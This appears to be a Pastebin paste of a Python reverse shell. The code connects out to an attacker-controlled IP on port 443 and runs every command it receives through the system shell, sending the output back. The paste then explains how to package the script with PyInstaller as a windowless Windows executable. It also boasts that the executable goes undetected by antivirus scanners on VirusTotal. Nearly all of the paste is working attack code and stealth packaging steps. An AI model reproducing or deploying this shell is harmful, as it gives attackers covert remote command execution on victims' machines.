Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # imports here
- import socket,subprocess
- HOST = '172.16.32.137' # The remote host
- PORT = 443 # The same port as used by the server
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # connect to attacker machine
- s.connect((HOST, PORT))
- # send we are connected
- s.send('[*] Connection Established!')
- # start loop
- while 1:
- # recieve shell command
- data = s.recv(1024)
- # if its quit, then break out and close socket
- if data == "quit": break
- # do shell command
- proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- # read output
- stdout_value = proc.stdout.read() + proc.stderr.read()
- # send output to attacker
- s.send(stdout_value)
- # close socket
- s.close()
- ------------------------------------------------------------------
- Be sure to change the IP-Address and PORT above. In order to compile this, download pyinstaller and on windows for example or nix, create a file called compile.bat and save the above code as shell.py and put the following in it:
- -----------------------------------------------------------------------
- PATH=C:\Python27 # Put your path to Python if it isn't there, otherwise safely delete that
- python Configure.py
- python Makespec.py --onefile --noconsole shell.py
- python Build.py shell\shell.spec
- -----------------------------------------------------------------------
- This will create a compiled based executable under shell/dist. Simply run shell.exe and have netcat listening up. Surprisingly upload it to virustotal.com and you get 0/43 detected. Obviously this is a custom reverse shell, so A/V really shouldn’t be triggering on this.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement